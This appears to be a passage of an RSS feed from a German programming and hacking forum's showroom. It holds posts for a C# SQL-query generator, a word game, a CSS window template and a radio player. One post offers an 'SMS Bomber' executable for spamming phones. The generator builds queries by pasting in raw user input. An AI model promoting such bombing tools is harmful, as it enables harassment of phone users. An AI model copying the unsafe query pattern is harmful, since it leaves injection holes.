&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;[5] The ORDER BY keyword&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;[6] Delete data in a database&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String action = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int act = Convert.ToInt32(action);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; switch(act)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 1:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; connect();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 2:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; create();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 3:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; select();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 4:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; where();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 5:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; order_by();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 6:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delete();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; default:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void ask(String question)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Green;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(question);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void connect()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Clear();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Host?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String host = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Username?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String username = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Password?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String password = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Red;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;mysql_connect(\&quot;&quot; + host + &quot;,&quot; + username + &quot;,&quot; + password + &quot;\&quot;);&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Press enter!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void create()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Clear();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Database name?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String d_name = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Red;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;mysql_query(\&quot;CREATE DATABASE &quot; + d_name + &quot;\&quot;);&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Press enter!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void select()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Clear();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Was willst du auswählen? (z.B. id,name,password,email oder *)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String auswahl = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Tabelle?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String tabelle = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Red;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;mysql_query(\&quot;SELECT &quot; + auswahl + &quot; FROM &quot; + tabelle + &quot;\&quot;);&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Press enter!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void where()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Clear();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Was willst du auswählen? (z.B. id,name,password,email oder *)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String auswahl = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Tabelle?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String tabelle = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Nach welcher Spalte willst du suchen?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String suche = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Operator? (z.B. =)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String operat = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Wert?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String wert = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Red;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;mysql_query(\&quot;SELECT &quot; + auswahl + &quot; FROM &quot; + tabelle + &quot; WHERE &quot; + suche + &quot; &quot; + operat + &quot; '&quot; + wert + &quot;'\&quot;);&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Press enter!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void order_by()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Clear();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Was willst du auswählen? (z.B. id,name,password,email oder *)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String auswahl = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Tabelle?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String tabelle = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Nach welcher Spalte ordnen?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String spalte = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Wie ordnen? (ASC/DESC)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String ordnen = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Red;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;mysql_query(\&quot;SELECT &quot; + auswahl + &quot; FROM &quot; + tabelle + &quot; ORDER BY &quot; + spalte + &quot; &quot; + ordnen + &quot;\&quot;);&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Press enter!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void delete()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Clear();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Tabelle?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String tabelle = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Spalte?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String spalte = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ask(&quot;Wert?&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String wert = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Red;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;mysql_query(\&quot;DELETE FROM &quot; + tabelle + &quot; WHERE &quot; + spalte + &quot; = &quot; + wert + &quot;\&quot;);&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Press enter!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>
</div>
</div>
</div><br />
<br />
Download: <a href="http://localhostr.com/YOrw1H2XFKAd" target="_blank" rel="nofollow">SQL-Generator.zip - Localhostr</a><br />
<br />
LG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/sql-generator-15375</guid>
		</item>
		<item>
			<title>Release WordMix v0.5</title>
			<link>showroom-102/wordmix-v0-5-15215?goto=newpost</link>
			<pubDate>Tue, 31 Jul 2012 11:56:20 GMT</pubDate>
			<description>Hallo, 
hier release ich die nächste Version von meinem kleinen Wordmix-Programm 
 
Bild: http://www.exception.bplaced.net/wmv05/wmv05.png  
...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
hier release ich die nächste Version von meinem kleinen Wordmix-Programm<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.exception.bplaced.net/wmv05/wmv05.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Diesmal mit ein paar kleinen Features die ich glaube ich nicht großartig erklären muss!<br />
Diese Version habe ich etwas ausführlicher getestet als die vorige. Könnte aber trotzdem<br />
gut sein das noch ein paar Bugs vorhanden sind.<br />
<br />
Wenn ihr welche findet, sagt mir bitte bescheid<br />
<br />
Vielleicht nur eine kleine Info zum Combobalken.<br />
Dieser Balken füllt sich bei jedem richtigen Mix, egal ob du gerade in einem &quot;Game&quot; bist oder<br />
nur normal spielst. Sobald er auf 100% ist aktiviert sich der Combomodus und man erhält die<br />
doppelte Punkteanzahl<br />
<br />
DOWNLOAD: <a href="http://www.exception.bplaced.net/wmv05/wmv05.rar" target="_blank" rel="nofollow">http://www.exception.bplaced.net/wmv05/wmv05.rar</a><br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>exception</dc:creator>
			<guid isPermaLink="true">showroom-102/wordmix-v0-5-15215</guid>
		</item>
		<item>
			<title>CSS Windows-Style Fenster</title>
			<link>showroom-102/css-windows-style-fenster-31395?goto=newpost</link>
			<pubDate>Sat, 28 Jul 2012 19:47:48 GMT</pubDate>
			<description>Hoi! 
 
Brauchte das für ein eigenes meiner kleineren Projekte. Eventuell kann ja der ein oder andere damit was anfangen :) 
 
Screenshot: 
 
Anhang...</description>
			<content:encoded><![CDATA[<div>Hoi!<br />
<br />
Brauchte das für ein eigenes meiner kleineren Projekte. Eventuell kann ja der ein oder andere damit was anfangen :)<br />
<br />
Screenshot:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7371&amp;d=1395915028" id="attachment7371" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7371&amp;d=1395915028&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	2821233850143c3b0f587.png&nbsp;
Hits:	310&nbsp;
Größe:	698,7 KB&nbsp;
ID:	7371" class="thumbnail" style="float:CONFIG" /></a><br />

</div>
</div>
</div><br />
<br />
Die komplette Box ist von der Breite und Höhe her anpassbar. Wird automatisch mitwachsen (kann man also auch per JavaScript resizable machen!).<br />
<br />
Die Box an sich hab ich mit ein paar &quot;Extras&quot; ausgeschmückt. Dazu zählt das Icon, der Closed-Button sowie unten der blaue Bereich (Footer). Diese Teile sind im Code folgendermaßen beschrieben:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><i><span style="color:#000080">&lt;!-- Icon --&gt;</span></i><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;windowsBoxIcon&quot;</span>&gt;</span><span style="color:#800080">&lt;img src=<span style="color:#0000FF">&quot;img/icon.png&quot;</span> alt=<span style="color:#0000FF">&quot;Icon&quot;</span> title=<span style="color:#0000FF">&quot;Icon&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><br />
<br />
<i><span style="color:#000080">&lt;!-- Button --&gt;</span></i><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;closeButton&quot;</span>&gt;</span>x<span style="color:#000080">&lt;/div&gt;</span><br />
<br />
<i><span style="color:#000080">&lt;!-- Blauer Bereich unten (Footer) --&gt;</span></i><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;footer&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Diese kann man ohne Probleme rausnehmen. Die Box an sich wird dadurch nicht verändert.<br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7420&amp;d=1396478977"  title="Name:  win_window.rar
Hits: 250
Größe:  621,1 KB">win_window.rar</a><br />
<br />
MfG</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7371&amp;d=1395915028" 
rel="Lightbox_370262" id="attachment7371"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7371&amp;stc=1&amp;thumb=1&amp;d=1395915028" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	2821233850143c3b0f587.png&nbsp;
Hits:	-&nbsp;
Größe:	698,7 KB&nbsp;
ID:	7371"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=7420&amp;d=1396478977">win_window.rar</a> 
(621,1 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Comu</dc:creator>
			<guid isPermaLink="true">showroom-102/css-windows-style-fenster-31395</guid>
		</item>
		<item>
			<title>SMS Bomber</title>
			<link>showroom-102/sms-bomber-14710?goto=newpost</link>
			<pubDate>Thu, 12 Jul 2012 20:30:12 GMT</pubDate>
			<description>Heyho, 
hatte noch den SMS Spammer von Brainy auf der Platte. 
Dieser geht nur in das Netz von Eplus und allen dazugehörigen unternetzen. 
Viel spaß...</description>
			<content:encoded><![CDATA[<div>Heyho,<br />
hatte noch den SMS Spammer von Brainy auf der Platte.<br />
Dieser geht nur in das Netz von Eplus und allen dazugehörigen unternetzen.<br />
Viel spaß beim Spammen. :) hihio<br />
<br />
MfG Tobias</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/exe.gif" alt="Dateityp: exe" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=3031&amp;d=1359574208">SMS Bomber.exe</a> 
(110,5 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Tobe</dc:creator>
			<guid isPermaLink="true">showroom-102/sms-bomber-14710</guid>
		</item>
		<item>
			<title>Release Online-Radio-Modul v.1.0 by Bazs</title>
			<link>showroom-102/online-radio-modul-v-1-0-by-bazs-14642?goto=newpost</link>
			<pubDate>Tue, 10 Jul 2012 15:56:40 GMT</pubDate>
			<description>*_Erstmal wird der Player nicht geupdatet, ich habe zu wenig Zeit. Habt geduld, ich gebe mein bestes den schnell fertig zu stellen._* 
 
Hallo...</description>
			<content:encoded><![CDATA[<div><font color="Cyan"><b><u>Erstmal wird der Player nicht geupdatet, ich habe zu wenig Zeit. Habt geduld, ich gebe mein bestes den schnell fertig zu stellen.</u></b></font><br />
<br />
<div style="text-align: center;">Hallo U-Hacks,<br />
<br />
heute ist es so weit, endlich ist die neue Version 1.3 raus.<br />
<br />
<b><font color="Red">Über den Player:</font></b><br />
<br />
Dieser Player spielt in der Combobox angezeigte Radio's, ihr müsst das Programm nur downloaden und dann könnt ihr den sofort nutzen.<br />
<br />
<font color="red"><b>Was wird benötigt um Online RadioPlayer zu nutzen?</b></font><br />
<br />
Es wird Net. Framework 4.0 benötigt, sonst zeigt er eine Fehlermeldung an.<br />
<br />
<b><font color="Red">Reparaturen/Updates:</font></b><br />
- Feedback Bug gefixxt<br />
- Update-Funktion vorerst wieder deaktiviert (Bugs werden noch gefixxt)<br />
<br />
<b><font color="Red">Was ist neu?</font></b><br />
<br />
<br />
<b><font color="Yellow">v. 1.3</font></b><br />
- Verbesserte Update Funktion (eingebaut)<br />
- Streams sind abspeicherbar und neu spielbar, sind nun nicht mehr in der combobox sonde in einer listbox! (eingebaut)<br />
- Neues Design (eingebaut)<br />
<br />
<b><font color="Yellow">v.1.2</font></b><br />
-Update Funktion wieder hinzugefügt<br />
-Eigenen Stream abspielbar<br />
<br />
<font color="Yellow"><b>v.1.0</b></font><br />
-Es gibt ein Neues Design<br />
-Feedback Hinzugefügt <br />
-Design verkleinert<br />
-Fehler/bugs gefixxt<br />
-Update-Funktion vorzeitig entfernt (bei v.1.2 wieder im Programm!)<br />
-Laufzeit Anzeigen lassen<br />
-Tray-Funktion wurde überarbeitet<br />
<br />
<b><font color="red">Was wird noch eingebaut?</font></b><br />
<br />
-eine neue, bessere Update-Funktion<br />
-Die Stream's Auslesen lassen (So das man bei einen Stream lesen kann was gerade läuft).<br />
-Uvm.<br />
<br />
<b>Welche Stream's Spielt er alles ab?</b><br />
<br />
Folgende Stream's spielt der Player zur Zeit ab:<br />
Blackbeats.fm<br />
Technobase.fm<br />
Hardbase.fm<br />
Techno4ever (Main-Club)<br />
Technoloversfm.de<br />
Coretime.fm<br />
Housetime.fm<br />
<br />
<br />
<b><font color="red">Wie sieht der Player nun aus?</font></b><br />
Vorschau:<br />
[SPOILER]Aus irgendeinen Grund hat er das Bild in schlechter Qualität gespeichert, aber man erkennt alles.<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3437&amp;d=1365088768" id="attachment3437" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=3437&amp;d=1365088768&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	x3ssw2.jpg&nbsp;
Hits:	565&nbsp;
Größe:	85,7 KB&nbsp;
ID:	3437" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
<br />
<b><font color="red">Download:</font></b><br />
<a href="http://i47.tinypic.com/2mgl1cx.png" target="_blank" rel="nofollow"><img src="http://u-img.net/img/2542Da.png" border="0" alt="" /> BILD ANZEIGEN </a> <a href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="_blank" rel="nofollow"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Virustotal:<br />
SHA256:     b41eb0d60d7b337b36bbd2cd97dbea2e1b673d8e9b019fd712  734ce60eb1c216<br />
File name:     Online-Radio-Modul v.1.3.rar<br />
Detection ratio:     0 / 41<br />
Analysis date:     2012-07-31 17:49:24 UTC ( 1 Minute ago ) <br />
<br />
<a href="https://www.virustotal.com/file/b41eb0d60d7b337b36bbd2cd97dbea2e1b673d8e9b019fd712734ce60eb1c216/analysis/" target="_blank" rel="nofollow">https://www.virustotal.com/file/b41e...c216/analysis/</a><br />
<br />
<font color="red"><b><font size="5">Bei Fragen stehe ich euch gern zu Verfügung aber bitte nur per PN.</font></b></font><br />
<br />
Liebe Grüße,<br />
<br />
Bazs hihio</div><br />
Das ist mein Username im anderen Forum, wolte den Player hier auch mal posten, zur Zeit werde ich daran nicht weiter arbeiten, wer den Link zum Original Thread haben möchte, schreibt mir PN, würde euch sogar eine Bestätigung mit den Account zusenden.</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3437&amp;d=1365088768" 
rel="Lightbox_123316" id="attachment3437"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=3437&amp;stc=1&amp;thumb=1&amp;d=1365088768" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	x3ssw2.jpg&nbsp;
Hits:	-&nbsp;
Größe:	85,7 KB&nbsp;
ID:	3437"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/online-radio-modul-v-1-0-by-bazs-14642</guid>
		</item>
		<item>
			<title>Release MultiTor by EasyMhM</title>
			<link>showroom-102/multitor-by-easymhm-14557?goto=newpost</link>
